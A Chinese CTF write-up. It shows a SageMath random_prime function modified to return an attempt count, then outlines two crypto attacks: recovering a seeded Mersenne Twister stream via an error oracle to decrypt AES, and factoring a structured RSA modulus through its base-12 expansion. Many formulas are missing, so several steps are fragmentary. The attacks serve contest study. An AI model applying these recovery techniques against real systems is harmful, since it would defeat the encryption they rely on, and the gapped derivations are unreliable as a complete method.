48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
def random_prime(n, proof=None, lbound=2):
    r"""
    Return a random prime `p` between ``lbound`` and `n`.

    The returned prime `p` satisfies ``lbound`` `\leq p \leq n`.

    The returned prime `p` is chosen uniformly at random from the set
    of prime numbers less than or equal to `n`.

    INPUT:

    - ``n`` -- integer `\geq 2`

    - ``proof`` -- boolean or ``None`` (default: ``None``); if ``False``, the function uses a
      pseudo-primality test, which is much faster for really big numbers but
      does not provide a proof of primality. If ``None``, uses the global default
      (see :mod:`sage.structure.proof.proof`)

    - ``lbound`` -- integer; `\geq 2`, lower bound for the chosen primes

    EXAMPLES::

        sage: # needs sage.libs.pari
        sage: p = random_prime(100000)
        sage: p.is_prime()
        True
        sage: p <= 100000
        True
        sage: random_prime(2)
        2

    Here we generate a random prime between 100 and 200::

        sage: p = random_prime(200, lbound=100)
        sage: p.is_prime()
        True
        sage: 100 <= p <= 200
        True

    If all we care about is finding a pseudo prime, then we can pass
    in ``proof=False`` ::

        sage: p = random_prime(200, proof=False, lbound=100)                            # needs sage.libs.pari
        sage: p.is_pseudoprime()                                                        # needs sage.libs.pari
        True
        sage: 100 <= p <= 200
        True

    TESTS::

        sage: # needs sage.libs.pari
        sage: type(random_prime(2))
        <class 'sage.rings.integer.Integer'>
        sage: type(random_prime(100))
        <class 'sage.rings.integer.Integer'>
        sage: random_prime(1, lbound=-2)   # caused Sage hang #10112
        Traceback (most recent call last):
        ...
        ValueError: n must be greater than or equal to 2
        sage: random_prime(126, lbound=114)
        Traceback (most recent call last):
        ...
        ValueError: there are no primes between 114 and 126 (inclusive)

    AUTHORS:

    - Jon Hanke (2006-08-08): with standard Stein cleanup

    - Jonathan Bober (2007-03-17)
    """
    # since we do not want current_randstate to get
    # pulled when you say "from sage.arith.misc import *".
    from sage.structure.proof.proof import get_flag
    proof = get_flag(proof, "arithmetic")
    n = ZZ(n)
    if n < 2:
        raise ValueError("n must be greater than or equal to 2")
    if n < lbound:
        raise ValueError("n must be at least lbound: %s" % (lbound))
    elif n == 2:
        return n
    lbound = max(2, lbound)
    if lbound > 2:
        if lbound == 3 or n <= 2 * lbound - 2:
            # check for Betrand's postulate (proved by Chebyshev)
            if lbound < 25 or n <= 6 * lbound / 5:
                # see J. Nagura, Proc. Japan Acad. 28, (1952). 177-181
                if lbound < 2010760 or n <= 16598 * lbound / 16597:
                    # see L. Schoenfeld, Math. Comp. 30 (1976), no 134, 337-360
                    if proof:
                        smallest_prime = ZZ(lbound - 1).next_prime()
                    else:
                        smallest_prime = ZZ(lbound - 1).next_probable_prime()
                    if smallest_prime > n:
                        raise ValueError("there are no primes between %s and %s (inclusive)" % (lbound, n))

    if proof:
        prime_test = is_prime
    else:
        prime_test = is_pseudoprime
    randint = Zmod(n).random_element
    count = 0
    while True:
        # In order to ensure that the returned prime is chosen
        # uniformly from the set of primes it is necessary to
        # choose a random number and then test for primality.
        # The method of choosing a random number and then returning
        # the closest prime smaller than it would typically not,
        # for example, return the first of a pair of twin primes.
        p = randint()
        count = count + 1

        if p < 2:
            continue

        if prime_test(p.lift()):
            return p, count ##这里魔改了，多返回了个count###################################################################

调用random_prime的时候 还会返回尝试的次数count 这个的用法先按且不表

漏洞利用

Part1

注意到 这个系统的随机性完全由固定的SEED决定 那么每次重连 所有的shuffle getrandbits random_prime用的都是一个随机流

  • 交互1
  • 交互2

我们先连一次靶机 选1 取得36组打乱的 然后直接断开重连 这次选2 我们知道此时生成的988bits的随机数 一定是 但是它被shuffle了 问题不大 我们只有36组可能 完全可以每次都试一下 用 唯有碰撞成功的时候 会成功调用 而

1
2
if n < 2:
    raise ValueError("n must be greater than or equal to 2")

此时会报错退出 这样我们就知道一开始的被shuffle到了哪一个 后续可以一样的思路 先发送已经恢复的原988bits的随机数块 对齐状态 再碰撞观察报错 恢复完所有的shuffle 这一步后 我们就成功恢复了交互1中 36组988bits的随机数生成结果

Part2

接下来就很清晰了 我们知道了一个MT流中 连续很多组输出 数据量而言 但是每次生成随机数的时候 都进行了random_prime 即使及时返回了count告诉我们尝试的次数 但是还是产生了大量的干扰 这个时候 我们直接针对线性系统建模 发现不满秩 没法直接求解了 但是MT其实还有个考点 如果系统的随机性仅仅由确定的SEED决定 从https://stackered.com/blog/python-random-prediction/#similarities-with-php 中是可以 利用MT的迁移链来恢复特殊比特的SEED的 这里虽然没给出 但走这个恢复链 能解出128bits的SEED

这个点VNCTF2026的NumberGuesser 也出过 往早UniCTF也出过 不难想到这个链子的构造

Part3

恢复SEED后重现随机流 然后解密AES即可

*Wispher_Line

赛中卡死了 这个构造确实没见过

简要说一下 task.apk允许两个端使用unpadding的RSA进行加密通信 但是只给了公钥 是2042bits 但是赛中完全没有分解的思路

感谢Triode师傅赛后的指点 的十进制为

1
2
n = 1359289594911861706114410263039030781889501874535854365263922081700238941971104298775704733565166223684142297360239921080802503206559783832007855750334958326368538063619171609885459927586035302195455632768752776216956554963499448005445126927786242177611054827389185330231903625073278897391670581843035646913248732183168634640757720768465749375619368398241192399373901594871829578828976563808877743744957547821735170186252185438724528024345696208656639600908162373375395068724897936084947703562847353279296559280237330305142321357271051046159817216535038453709580872952011626071015235951428711736008848437349560705229

转12进制后会得到

1
1000010000000000000000000000000000000000000002000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000021122233242421223112412143212234212443034210112244444040402042204402242402044404442022224444404040204220440224240204440444202200000000000000000000000000000000000000001122222020201021102201121201022202221011000000000000000000000000000000000000000022444440404020422044022424020444044420221122222020201021102201121201022202221011

呈现了非常不随机的结构

我们按照12进制展开 这里的就是已知的 非常有规律的小量 那么 也存在12进制下的展开

设

调用现有的多项式分解接口 由于构造的特殊 可以迅速找到一个解 随后完成分解 解密RSA